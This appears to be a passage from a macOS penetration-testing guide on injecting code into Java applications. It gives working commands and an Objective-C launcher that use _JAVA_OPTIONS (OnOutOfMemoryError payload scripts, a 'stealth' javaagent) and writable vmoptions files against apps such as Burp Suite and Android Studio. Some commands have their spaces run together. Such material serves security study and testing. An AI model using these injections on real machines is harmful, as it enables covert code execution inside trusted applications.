Find Java applications installed in your system. It was noticed that Java apps in the Info.plist will contain some java parameters which contain the string java., so you can search for that:
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
The env variable _JAVA_OPTIONS can be used to inject arbitrary java parameters in the execution of a java compiled app:
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
To execute it as a new process and not as a child of the current terminal you can use:
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Creating the agent with a different Java version from the application can crash the execution of both the agent and the application
And then export the env variable and run the java application like:
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
vmoptions file
This file support the specification of Java params when Java is executed. You could use some of the previous tricks to change the java params and make the process execute arbitrary commands.
Moreover, this file can also include others with the include directory, so you could also change an included file.
Even more, some Java apps will load more than one vmoptions file.
Some applications like Android Studio indicates in their output where are they looking for these files, like:
# Monitorsudoesloggerlookup|grepvmoption# Give FDA to the Terminal# Launch the Java app/Applications/Android\Studio.app/Contents/MacOS/studio
Note how interesting is that Android Studio in this example is trying to load the file /Applications/Android Studio.app.vmoptions, a place where any user from the admin group has write access.
